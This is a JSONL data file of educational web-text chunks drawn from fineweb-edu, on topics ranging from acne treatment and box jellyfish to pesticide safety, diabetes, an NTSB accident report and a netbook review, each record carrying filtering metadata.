{"text": "acne is a disorder resulting from the action of hormones and other substances on the skin ' s oil glands, sebaceous glands and hair follicles. propionibacterium acnes ( p. acnes ) are the anaerobic bacterium that causes acne. severe acne can lead to permanent scarring and emotional distress. fortunately, several treatment options are available. chemical peels as well as microdermabrasion, combined with blue light therapy, may provide significant benefits. infrared energy and photofacials can be combined to allow controlled heating of sub - epidermal layers of the skin. photodynamic therapy ( pdt ) is another area that holds promise. it involves administering a topical photosensitizing agent and then subjecting the area to a blue light. doing so causes the release of free oxygen radicals, which can destroy the organism propionibacterium acnes. some methods involve high intensity blue light without the photosensitizing agent. with proper treatment, the procedure will lead to collagen remodeling, proliferation of active fibroblasts and treating over - acting sebaceous glands that result inthe reduction of acne and the improvement in acne scarring. for a more dramatic improvement, laser skin resurfacing may be recommended. lasers are the newest and best methods proven effective nowadays for the treatment of acne and acne scarring. the wound - healing process produces fibroblasts that generate new collagen, plumping the skin and correcting skin imperfections.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5424458225288615, "token_count": 318, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.694744"} {"text": "the ellenville downtown historic district in the village of ellenville in the town of wawarsing, ulster county, new york contains visible geographical and architectural elements that represent its origins as a commercial and industrial crossroads during ulster county \u2019 s early 19th century development. associated with events that reflect a broad pattern of state and national history such as the early westward expansion and settlement, the economic development that followed major transportation improvements ( the delaware and hudson canal ), the growth and diversification of commercial centers and the role of the summer resort economy in areas outside major american urban centers, the ellenville downtown historic district developed around a nucleus that was already present in 1858. the district also encompasses the physical evidence of growth and development - from early jewish settlement in the region to the heyday of the \u201c borscht belt \u201d resort area following the second world war. ellenville, located in the valley between the shawangunk and catskill mountains, did not develop until after the revolutionary war, as clashes between native american indians and early european settlers \u2019 limited development in the region. it was the construction of the d & h canal, began in 1823, that spurred further transportation improvements and fostered significant settlement within the village - - - it is to this period that the earliest of the district \u2019 s buildings date. read the full file on ellenville downtown historic district. to see more photographs of national register properties go to our photostream on flickr. see our weekly list ( with previous highlights )", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.37951648656096904, "token_count": 296, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.698199"} {"text": "identification, selection and testing of \" lingering ash \" in emerald ash borer long term monitoring plots in michigan and ohio initial reports after the outbreak of emerald ash borer ( agrilus planipennis, eab ) indicated that there was no resistance to this insect in the detroit area, where ashes were popular street trees. urban trees are usually only a few horticultural selections of the species and are thus a limited representation of the species \u2019 genetics. as the beetle spread away from urban areas into more genetically diverse native stands and woodlots, plots were established to monitor the impact of eab in these areas. during this yearly inventory, we have identified a small number of trees that have persisted. lingering ash may be truly resistant ( able to prevent an eab infestation and thrive at a more natural, non - epidemic level of eab ) or only tolerant ( able to survive low level infestation, but not truly resistant ). even if these trees ultimately succumb to eab, the traits that helped them survive longer may be helpful in breeding ash trees that could resist eab. forest service researchers and their ohio state university collaborators are working quickly to preserve and study these \u201c lingering ash \u201d through grafting. grafting allows both preservation and replication for study. bioassays are being utilized to determine if lingering ash are resistant to eab and what mechanisms may be operating that allow them to survive. we are working to propagate lingering ash for testing ; establish field test ; utilize existing bioassays ; develop additional bioassays ; investigate molecular and biochemical genetics and mechanisms of resistance ; and initiate a breeding program koch, jennifer l. ; mason, mary e. ; carey, david w. ; knight, kathleen s. ; poland, therese ; herms, daniel a. in press. survey for tolerance to emerald ash borer within north american ash species. in proceedings, symposium on ash in north america ; 2010 march 9 - 11 ; west lafayette, in. mason, mary e. ; herms, daniel a. ; carey, david w. ; knight, kathleen s. ; faridi, nurul i. ; koch, jennifer l. in press. update on exotic ash collection for hybrid breeding and survey for eab - resistance in native north american ash species. in : gottschalk, kurt w., ed. proceedings, 21st u. s. department of agriculture interagency research forum on gypsy moth and other invasive species, 2010. ; gen. tech. rep. nrs newtown square", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45423095680534276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.701559"} {"text": "on march 4, 1996, about 1633 alaska standard time, a wheel equipped cessna 172, n739yr, was ditched following a loss of engine power, about 12 miles north of ketchikan, alaska. the airplane was being operated as a visual flight rules ( vfr ) local area instructional flight when the accident occurred. the airplane, operated by the first pilot, sustained substantial damage. the first pilot, a certificated airline transport pilot and flight instructor, was not injured. the second pilot, a noncertificated student, received minor injuries. visual meteorological conditions prevailed. the flight originated at the ketchikan airport about 1550. use your browsers ' back ' function to return to synopsisreturn to query page in a telephone conversation on march 5, 1996, the first pilot reported to the national transportation safety board ( ntsb ) investigator - in - charge ( iic ) that he was occupying the right front seat and was providing a demonstration of departure stalls to the second pilot who was occupying the left front seat. at the conclusion of the third stall, the first pilot added power about 1, 800 feet mean sea level ( msl ). the engine did not respond and emergency procedures only restored partial power. the first pilot indicated that he applied carburetor heat during the demonstration of stalls. the airplane continued to descend and the pilot declared an emergency \" mayday \" over the airplane radio. the pilot selected an emergency landing area near the shore of betton island but noticed that the beach area contained large rocks. the pilot then intentionally ditched the airplane about 30 yards from the shore. after touchdown in the water, both pilots swam to shore and the airplane sank. a nearby float equipped airplane responded to the emergency call and picked up the two pilots. after the airplane was recovered from the water, an engine examination was conducted on june 6, 1996, in ketchikan. the examination was supervised by a federal aviation administration ( faa ) airworthiness inspector from the juneau flight standards district office ( fsdo ). the engine had been partially preserved after retrieval from the salt water. gear and valve train continuity was established and thumb compression was evident when the engine was rotated by hand. the magnetos were internally damaged by corrosion. the vacuum pump drive was sheared. the engine oil filter was free of contaminants. fuel and water was found in the carburetor fuel line. the carburetor inlet screen was free of contaminants. the throttle and", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4769351389178699, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.707546"} {"text": "many chemicals used to kill pests \u2013 insects and rodents \u2013 can also be harmful to people. according to the national safety council, 75 percent of homes in the united states use at least one pesticide product indoors every year. whenever possible use non - chemical methods for pest control. basic housekeeping and maintenance can help prevent pests. prevent pests and report problems safe pest removal harmful products handling tips helpful links about pesticides products and services chemical constituents of pesticides prevent pests and report problems don \u2019 t leave food sitting out on counters or shelves. store groceries in sealed containers or the refrigerator. regularly sweep floors to remove crumbs, and wash stove tops to get rid of food and grease drippings. eliminate sources of water and moisture. pests need water to survive. clean up spills quickly and completely. repair drips or leaks, and remove sources of standing water. prevent pests from entering. seal cracks and crevices with caulk. plug wall holes with wire mesh, and use spackle or sealant that hardens. install a door sweep or weatherstripping to block the space between the floor and the door. store trash properly. keep garbage off the floor in a sealed trash container. regularly wash containers used for garbage and recycling, as well as the area around them. check for bugs when buying or renting used products, while traveling, or before you think you may have problem. it \u2019 s much easier to get rid of a few pests before you have an infestation. use a flashlight and magnifying glass to look for bed bugs around the areas where you sleep or sit. visit the nyc department of health and mental hygiene ' s bedbugs website to learn more about bed bug identification and prevention. report a rodent problem by calling 311 or using the rodent complaint form on the nyc department of health and mental hygiene website. safe pest removal if you see a rat or bed bug in your home or building, contact your landlord, management company, or an exterminator immediately. the exterminator should be reputable ( a bad exterminator can actually make the problem worse ). visit the nyc department of health and mental hygiene ' s bedbugs website to learn more about bed bug removal. use less - or non - toxic pest control products, such as cockroach baits, gels, snaps, or boxes. avoid foggers, bombs, and sprays. when emptying or throwing away a trap, pick it up with a", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.46641493262437383, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.711382"} {"text": "less - or non - toxic pest control products, such as cockroach baits, gels, snaps, or boxes. avoid foggers, bombs, and sprays. when emptying or throwing away a trap, pick it up with a broom and dust pan \u2014 not your hands. use only the amount of product directed, under the conditions specified, and for the purpose listed. pay particular attention to directions on adequate ventilation and personal protection, and avoid physical contact with pesticide products. never use products called \u201c tres pasitos \u201d or \u201c roach chalk. \u201d they are dangerous pesticides from other countries that are sold illegally in the u. s. don \u2019 t buy or use \u201c tempo. \u201d it is not intended for use in homes by residents. keep children and pets away from areas where pesticide is being used or stored. place mattresses and box springs in a plastic bag prior to disposal or recycling, in compliance with sanitation regulations. bring all unwanted pesticides to any of the upcoming nyc department of sanitation safe disposal events. alternatively, double - bag unwanted pesticides and empty pesticide containers, and place them in the trash. do not throw them down a trash chute, or reuse or recycle empty pesticide containers. back to top | back to tips at home | back to shopping tips tips for your home basement / storage | bedroom | car | kitchen | living room | yard tips while shopping appliances | dry cleaner | hardware | grocery store | deli tips in apartment buildings tips for home improvements", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4224617771959691, "token_count": 308, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.713318"} {"text": "experts say lifestyle changes, coupled with a reduction in heart disease risks, will go a long way toward preventing pre - diabetes from progressing to the full - blown disease. pre - diabetes occurs when blood sugar levels are elevated, but not quite to the point defined as diabetes. more than 56 million americans currently suffer from pre - diabetes, according to the centers for disease control and prevention ( cdc ). \" diabetes has become the major problem in the united states, \" says dr. harold lebovitz, at the state university of new york health sciences. dr. lebovitz notes that diabetes is the main cause of kidney failure and most blindness in adults, and causes about 60 percent of cardiovascular diseases. \" the issue is, do you wait until patients really develop these catastrophic complications? \" says dr. lebovitz. \" last year, it cost $ 170 billion in direct and indirect costs to take care of people with diabetes. \" the growing epidemic of diabetes in the us will continue to cost more, unless something is done to halt it, notes dr. lebovitz. \" diabetes starts at an earlier stage, called pre - diabetes, \" he says. \" the question arises, should you wait for pre - diabetic patients to develop diabetes and the complications, or should you take a preventive approach? \" the american association of clinical endocrinologists ( aace ) is pressing for aggressive action to keep pre - diabetes from progressing to full - blown diabetes. the first step involves lifestyle changes, such as diet and exercise. \" it will cost a lot of money to develop lifestyle programs, but in the long run we will save trillions of dollars in health care, \" says dr. lebovitz. many people question whether pre - diabetes is actually a disease, notes dr. lebovitz. \" the important message is that pre - diabetes is not something people don ' t have problems with, \" he says. \" sure, they don ' t have any problems when they ' re 30, but when they ' re 50, they ' ve had their heart attack and now they have an ulcer on the foot. \" in addition to lifestyle changes, the aace thinks that pre - diabetes needs to be treated more aggressively. since there are no medication therapies approved by the us food and drug administration ( fda ) for treating pre - diabetes, the aace suggests another way to get them : reduce the number at which blood sugar levels define diabetes. that would make current medications available to people", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4305413837969392, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.718874"} {"text": "medication therapies approved by the us food and drug administration ( fda ) for treating pre - diabetes, the aace suggests another way to get them : reduce the number at which blood sugar levels define diabetes. that would make current medications available to people who are now classified as pre - diabetic. in addition, those who cannot modify their cardiovascular risk by lifestyle changes need to be treated for high blood pressure, high cholesterol, and should have medications to control blood sugar levels. \" the data show that there is a spectrum of severity, with the most severely affected approaching the risks of people with diagnosed type 2 diabetes, \" says dr. daniel einhorn, vice - president of aace. \" in these highest - risk individuals, who represent a minority, pharmacologic strategies may be appropriate if intensive lifestyle therapies fail. \u201d dr. einhorn says, \u201c regardless, all individuals at risk for diabetes should be aware of the level of their risk factors and be prepared to take action. \" always consult your physician for more information. ( our organization is not responsible for the content of internet sites. ) high blood pressure is twice as likely to strike a person with diabetes than a person without diabetes. left untreated, high blood pressure can lead to increased risk for heart disease and stroke. in fact, a person with diabetes and high blood pressure is four times as likely to develop heart disease than someone who does not have either of the conditions. about 73 percent of adults with diabetes have blood pressure greater than or equal to 130 / 80 mm hg or use prescription medications for hypertension. blood pressure is the force of the blood pushing against the artery walls. each time the heart beats, it is pumping blood into these arteries - resulting in the highest blood pressure when the heart contracts and is pumping the blood. high blood pressure, or hypertension, directly increases the risk of coronary heart disease ( heart attack ) and stroke ( brain attack ). with high blood pressure, the arteries may have an increased resistance against the flow of blood, causing the heart to pump harder to circulate the blood. two numbers are used to measure blood pressure. the higher number, the systolic pressure, refers to the pressure inside the artery when the heart contracts and is pumping the blood through the body. the lower number, the diastolic pressure, refers to the pressure inside the artery when the heart is at rest and is filling with blood. both the systolic and diastolic pressures are recorded as \" mm hg", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4987160856088393, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.719883"} {"text": "findings from a new study published in circulation : journal of the american heart association suggest that women with metabolic syndrome are at greater risk for peripheral artery disease ( pad ), a condition that can lead to heart disease and stroke. while most studies on metabolic syndrome have focused on risk for heart disease and stroke, this is among the first to look at risk for developing pad. pad typically affects the arteries in the pelvis and legs. it occurs when plaque builds up in the arteries. symptoms include cramping and pain or tiredness in the hip muscles and legs when walking or climbing stairs. researchers analyzed data from more than 27, 000 healthy middle - aged women taking part in the women ' s health study. they found that 25 percent had metabolic syndrome. metabolic syndrome is a cluster of risk factors linked to being overweight or obese. the risk factors are a large waistline, high blood pressure, low hdl ( \" good \" ) cholesterol, high triglyceride levels, and higher - than - normal blood sugar. in this study, women with three or more of these risk factors were considered to have metabolic syndrome. during an average of 13 years, 114 of all the women developed pad. women with metabolic syndrome had a 62 percent higher risk for pad than women who did not have metabolic syndrome. each metabolic syndrome risk factor raised the risk for pad by 20 percent. the link between metabolic syndrome and pad in women was largely explained by increased inflammation. women with metabolic syndrome had higher levels of two markers of inflammation than their peers who did not have the syndrome. nearly 25 percent of u. s. adults have metabolic syndrome, and the numbers keep growing. the condition is linked with being overweight and not getting enough physical activity. a healthy lifestyle, which includes the following healthy habits, can help you to prevent or delay metabolic syndrome. maintain a healthy weight. follow a healthy eating plan and try not to overeat. in general, eat fewer calories and less saturated fat. emphasize whole grains, fish, and fruits and veggies in your diet. increase physical activity. try to get at least 30 minutes of moderate activity, such as brisk walking, at least five days a week. work up to 60 minutes five to seven days a week. your doctor can help you decide how much and what kinds of activities are right for you. track your numbers. see your doctor regularly to monitor and track your cholesterol, blood pressure, and blood sugar levels. always consult your physician for more information. ( our organization is not", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4538267459479372, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.723099"} {"text": "how much and what kinds of activities are right for you. track your numbers. see your doctor regularly to monitor and track your cholesterol, blood pressure, and blood sugar levels. always consult your physician for more information. ( our organization is not responsible for the content of internet sites. ) drinks sweetened with fructose can increase the risk for metabolic syndrome in overweight or obese people and may increase the risk for cardiovascular disease. so it ' s important to choose your beverages just as thoughtfully as you choose your foods. the facts on fructose. fructose is one of many naturally occurring sugars. it ' s found in fruits and vegetables and in table sugar, or sucrose. it ' s added to corn syrup, too, to make high - fructose corn syrup ( hfcs ). all three - - fructose, sucrose, and hfcs - - may be used to sweeten beverages, like sodas, fruit drinks, and smoothies, or the flavored syrups used in drinks like specialty coffees. researchers have linked a high - fructose diet to increased blood glucose, increased triglycerides, and abdominal obesity - - all are risk factors for metabolic syndrome. these risk factors increase the risk for heart disease, diabetes, and stroke.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43797990727676345, "token_count": 269, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.723581"} {"text": "dana point, larry hamlin, retired southern california edison vice president of power production, former state energy construction czar under gov. gray davis ( 2001 ) : measurements for atmospheric global co2 levels at hawaii ' s mauna loa observatory show increasing growth rates from 1995 to the present [ \u201c earth ' s future : a world of extremes? \u201d focus, climate, nov. 18 ]. however, global mean temperatures, as measured by nasa ' s goddard institute for space studies, show little, if any, increase in global mean temperatures in this period. if atmospheric co2 levels have driven global temperatures the past 15 - plus years, these studies don ' t show it. furthermore, the global temperature graph in the article shows equivalent increasing global temperature trends from 1910 - 45 as in the shorter period from 1975 - 95. this strongly suggests that naturally occurring climate drivers are mostly responsible for global temperature trends, not increasing atmospheric co2 levels. climate - change alarmists argue that global warming will result in increasing intensity of hurricanes. the metric used in the article regarding hurricanes is useless in conveying any real information on this assertion. national oceanic and atmospheric administration data show clearly that neither increasing frequency nor intensity of hurricanes has occurred in the period 1861 through 2010. read the rest of this entry \u00bb", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4970269587153805, "token_count": 257, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.725698"} {"text": "from openwaterpediajellyfish ( class cubozoa ) are cnidarian invertebrates distinguished by their cube - shaped medusae. box jellyfish, also known as stingers, are known for the extremely potent venom produced by some species. chironex fleckeri, carukia barnesi and malo kingi are among the most venomous creatures in the world. stings from these and a few other species in the class are extremely painful and sometimes fatal to humans. box jellyfish or sea wasp is also a common name for the notoriously dangerous chironex fleckeri. the ambiguous but commonly used terms \" sea wasp \" and \" marine stinger \" are sometimes used to refer to the more venomous species of box jellyfish. box jellyfish most visibly differ from the \" true \" or scyphozoan jellyfish in that they are umbrella shaped, rather than domed or crown - shaped. the underside of the umbrella includes a flap, or velarium, concentrating and increasing the flow of water expelled from the umbrella. as a result, box jellyfish can move more rapidly than other jellyfish. in fact, speeds of up to six meters per minute have been recorded. the box jellyfish ' s nervous system is also more developed than that of many other jellyfish. notably, they possess a nerve ring around the base of the umbrella that coordinates their pulsing movements ; a feature found elsewhere only in the crown jellyfish. whereas some other jellyfish do have simple pigment - cup ocelli, box jellyfish are unique in the possession of true eyes, complete with retinas, corneas and lenses. their eyes are located on each of the four sides of their bell in clusters. these enable them to see specific points of light, as opposed to simply distinguishing between light and the dark. box jellies also retain the lesser type of eye, because the strong eyes are only one of four subsets. they therefore have 24 eyes. although the notoriously dangerous species of box jellies are largely, or entirely, restricted to the tropical indo - pacific, various species of box jellies can be found widely in tropical and subtropical oceans, including the atlantic and east pacific, with species as far north as california, the mediterranean ( e. g., carybdea marsupialis ) and japan ( e. g., chironex yamaguchii ), and as far south as south africa ( e. g., carybdea branchi", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46196683992466525, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.739596"} {"text": "e. g., carybdea marsupialis ) and japan ( e. g., chironex yamaguchii ), and as far south as south africa ( e. g., carybdea branchi ) and new zealand ( e. g., carybdea sivickisi ). defense and feeding mechanisms the box jellyfish has been called \" the world ' s most venomous creature, \" though only a few species in the class have been confirmed to be involved in human deaths and some species pose no serious threat. for example, the sting of chiropsella bart only results in short - lived itching and mild pain. each tentacle has about 500, 000 cnidocytes, containing nematocysts, a harpoon - shaped microscopic mechanism that injects venom into the victim. there are many different kinds of nematocysts found in cubozoans. in australia, the fatal envenomations are most often perpetrated by the largest species of this family of jellyfish chironex fleckeri, owing to the high potency of the venom carried in their nematocysts. the recently discovered and very similar chironex yamaguchii may be equally dangerous, as it has been implicated in several deaths in japan. it is unclear hence which of these species is the one usually involved in fatalities in the malay archipelago. in 1990, a 4 - year - old child died after being stung by chiropsalmus quadrumanus at galveston island in the gulf of mexico, and either this species or chiropsoides buitendijki are considered the likely perpetrators of two deaths in west malaysia. at least two deaths in australia have been attributed to the thumbnail - sized irukandji jellyfish. those who fall victim to these may suffer severe physical and psychological symptoms known as irukandji syndrome. nevertheless, most victims do survive, and out of 62 people treated for irukandji envenomation in australia in 1996, almost half could be discharged home with few or no symptoms after 6 hours, and only two remained hospitalized approximately a day after they were stung. in australia, chironex fleckeri has caused at least 64 deaths since the first report in 1883, but even in this species most encounters appear to only result in mild envenoming. most recent deaths in australia have been in children, which is linked to their smaller body mass. in april 2010, a 10", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46210423649307475, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.741943"} {"text": "since the first report in 1883, but even in this species most encounters appear to only result in mild envenoming. most recent deaths in australia have been in children, which is linked to their smaller body mass. in april 2010, a 10 - year - old australian girl survived multiple stings from box jellyfish and her survival is considered a medical miracle. in parts of the malay archipelago, the number of lethal cases is far higher ( in the philippines alone, an estimated 20 - 40 die annually from chirodropid stings ), likely due to limited access to medical facilities and antivenom, and the fact that many australian beaches are enclosed in nets and have vinegar placed in prominent positions allowing for rapid first aid. vinegar is also used as treatment by locals in the philippines. the box jellyfish actively hunts its prey ( zooplankton and small fish ), rather than drifting as do true jellyfish. it is capable of achieving speeds of up to 4 knots ( 1. 8 m / s ). box jellyfish are known as the \" suckerpunch \" of the sea not only because their sting is rarely detected until the venom is injected, but also because they are almost transparent. the venom of cubozoans is distinct from that of scyphozoans, and is used to catch prey ( fish and small invertebrates, including shrimp and bait fish ) and for defense from predators, which include the butterfish, batfish, rabbitfish, crabs ( blue swimmer crab ) and various species of sea turtles ( hawksbill turtle, flatback turtle ). sea turtles, however, are apparently unaffected by the sting and eat box jellies. in northern australia, the highest risk period for the box jellyfish is between october and may, but stings and specimens have been reported all months of the year. similarly, the highest risk conditions are those with calm water and a light, onshore breeze ; however, stings and specimens have been reported in all conditions. in hawaii, box jellyfish numbers peak approximately 7 to 10 days after a full moon, when they come near the shore to spawn. sometimes the influx is so severe that lifeguards have closed infested beaches, such as hanauma bay, until the numbers subside. as of 2007, at least 36 species of box jellyfish were known. these are grouped into two orders and seven families. a few new species have been described since then, and it is likely undescribed species remain. treatment of stings once a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4610095886606769, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.743259"} {"text": ", at least 36 species of box jellyfish were known. these are grouped into two orders and seven families. a few new species have been described since then, and it is likely undescribed species remain. treatment of stings once a tentacle of the box jellyfish adheres to skin, it pumps nematocysts with venom into the skin, causing the sting and agonizing pain. successful use of chironex antivenom by members of the queensland ambulance transport brigade showed that acetic acid, found in vinegar, disables the box jelly ' s nematocysts that have not yet discharged into the bloodstream ( though it will not alleviate the pain ). common practice is to apply generous amounts of vinegar prior to and after the stinging tentacle is removed. removal of additional tentacles is usually done with a towel or gloved hand, to prevent secondary stinging. tentacles will still sting if separated from the bell, or after the creature is dead. removal of tentacles without prior application of vinegar may cause unfired nematocysts to come into contact with the skin and fire, resulting in a greater degree of envenomation. although commonly recommended in folklore and even some papers on sting treatment, there is no scientific evidence that urine, ammonia, meat tenderizer, sodium bicarbonate, boric acid, lemon juice, fresh water, steroid cream, alcohol, cold packs, papaya, or hydrogen peroxide will disable further stinging, and these substances may even hasten the release of venom. pressure immobilization bandages, methylated spirits, or vodka should never be used for jelly stings. in severe chironex fleckeri stings cardiac arrest can occur quickly, so cardiopulmonary resuscitation ( cpr ) can be life saving and takes priority over all other treatment options. - i got stung - open water swimming - marathon swimming - world open water swimming association - venomous creatures of the seas - box jellyfish - keri - anne payne talks about jellyfish and the olympics - you could hear the screams - stinging sensations - and a cure - jellyfish gone wild - are you smarter than a 5th grader? - top 10 things to fear in the open water - dangerous creatures for open water swimmers - ishof vs. imshof, greatness defined two ways - being with bengals, terrifying tigers in the tank - protection against stingers splits down the middle - doug mcconnell digs deep vs. a zillion", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4094340063807775, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.744654"} {"text": "- ncaa basketball - ncaa football - fantasy mlb - fantasy nba - fantasy nfl - other sports - alternative medicine - food and nutrition - health care - medical treatments - mental health - weight loss - women ' s health - alcohol addiction - drug addiction how vitamins and minerals can affect autism for over a decade, claims have been made that vitamin and mineral supplements may improve the symptoms of autism in a natural way. while not all researchers agree about whether these therapies are scientifically proven, many parents and an increasing number of physicians report improvement in people with asd when using individual or combined nutritional supplements. malabsorption problems and nutritional deficiencies have been addressed in several as - of - yet unreplicated studies. a few studies suggest that intestinal disorders and chronic gastrointestinal inflammation may reduce the absorption of essential nutrients and cause disruptions in immune and general metabolic functions that are dependent upon these essential vitamins. other studies have shown that some children on the autism spectrum may have low levels of vitamins a, b1, b3, and b5, as well as biotin, selenium, zinc, and magnesium ; while others may have an elevated serum copper to plasma zinc ratio, suggesting that they may benefit by avoiding copper and taking extra zinc to boost their immune system. other studies have indicated a need for more calcium. there are several laboratories that test for nutritional deficiencies, but many insurance companies will not pay for these tests. perhaps the most common vitamin supplement used for individuals with asd is vitamin b, which plays an important role in creating enzymes needed by the brain. in several studies on the use of vitamin b and magnesium ( which is needed to make vitamin b effective ), almost half of the individuals with autism showed improvement. the benefits include decreased behavioral problems, improved eye contact, better attention span, and improvements in learning. other research studies have shown that other supplements may help symptoms as well. cod liver oil supplements ( rich in vitamins a and d ) have resulted in improved eye contact and behavior of children with autism. vitamin c helps in brain function and deficiency symptoms like depression and confusion. increasing vitamin c has been shown in a clinical trial to improve symptom severity in children with asd. if you are considering the addition of vitamins or minerals to your child ' s diet, a laboratory and clinical assessment of nutritional status is highly recommended. the most accurate method for measuring vitamin and mineral levels is through a blood test. it is also important to work with someone knowledgeable in nutritional therapy. while large", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4434125308848811, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.753127"} {"text": "asus eee 1000h reviewzertz - october 13, 2008 \u00bb discuss this article ( 0 ) the intel atom processor is based on the core microarchitecture, itself based on the dothan core, also more commonly known as pentium - m. it has been reworked with power consumption in mind, leading to reduced cache, no more 64 - bit instructions and less processing power. the differential between idle and load power usage had to be as low as possible and it had to have, at peak load, no more than a 2w thermal design power ( tdp ). thus, atom was born. a single core, in - order, processor, equipped with hyperthreading, which was first introduced back in 2002 with the netburst microarchitecture. that translates to 47 millions transistors built on a 45 nanometer process making a tiny 26 square millimeters die. in comparison, the latest dual core wolfdale processors need over 400 million transistors to perform like they do. atom features a mere 32kb of level 1 cache while level 2 gets a whopping 512kb. again, not much compared to desktop processors, but enough for what it ' s meant for. all those small numbers, everything is relative of course, end up consuming less than a single watt under idle conditions and 2. 5w under full load. to put things into perspective, the most frugal ultra low voltage ( ulv ) core 2 solo processor has a tdp of 5. 5w and costs about four times as much as the atom. so how come that little processor so cheap? one of the reasons is that intel manages to extract about 2500 atoms from a single 300 mm wafer. of course, those tiny chips are nowhere near as powerful as core 2s, but the question is \u2013 do you really need all that processing power from a portable computer? while the atom ' s power consumption is nothing short of impressive, the same cannot be said about the chipset it is paired with. the aging 945gse northbridge, which includes a memory controller and an integrated graphic processor, gets the job done, although now without a sweat and at the cost of relatively high power consumption, standing at 6w. the southbridge is the ich7m, which, in this case, mainly takes care of the storage devices and then passes the information to the northbridge. the whole platform has a tdp of 11. 8w, so that ' s just under 12w for a", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5254177329641845, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.757316"} {"text": "tubal ligation and tubal implants reference tubal ligation opens new window reference opens new window, often referred to as \" having your tubes tied, \" is a surgical procedure in which a woman ' s reference fallopian tubes opens new window are blocked, tied, or cut. reference tubal implants opens new window reference opens new window, such as essure, are small metal springs that are placed in each fallopian tube in a nonsurgical procedure ( no cutting is involved ). over time, scar tissue grows around each implant and permanently blocks the tubes. either procedure stops eggs from traveling from the ovaries into the fallopian tubes, where the egg is normally fertilized by a sperm. tubal ligation and tubal implants are considered to be permanent methods of birth control for women. they are usually done by a reference gynecologist opens new window. they may also be done by a reference family medicine doctor opens new window or a reference general surgeon opens new window. tubal ligation method there are several different ways of closing the reference fallopian tubes opens new window reference opens new window, including clipping or banding them shut or cutting and stitching or burning them closed. your surgeon will probably prefer one of these reference tubal ligation methods opens new window reference opens new window. a tubal ligation can be done using a : - a reference laparoscopy or mini - lap. these are done by inserting a viewing instrument and surgical tools through reference 2 small incisions ( laparoscopy ) opens new window reference opens new window or reference 1 small incision ( mini - lap ) opens new window reference opens new window in the abdomen. - reference postpartum tubal ligation opens new window reference opens new window. this is usually done as a mini - laparotomy after childbirth. the fallopian tubes are higher in the abdomen right after pregnancy, so the incision is made below the belly button ( navel ). the procedure is often done within 24 to 36 hours after the baby is delivered. an open tubal ligation ( laparotomy ) is done through a larger incision in the abdomen. it may be recommended if you need abdominal surgery for other reasons ( such as a reference cesarean section opens new window ) or have had reference pelvic inflammatory disease ( pid ) opens new window, reference endometriosis opens new window, or previous abdominal or pelvic surgery. these conditions often", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49947485816237436, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.762466"} {"text": "( such as a reference cesarean section opens new window ) or have had reference pelvic inflammatory disease ( pid ) opens new window, reference endometriosis opens new window, or previous abdominal or pelvic surgery. these conditions often 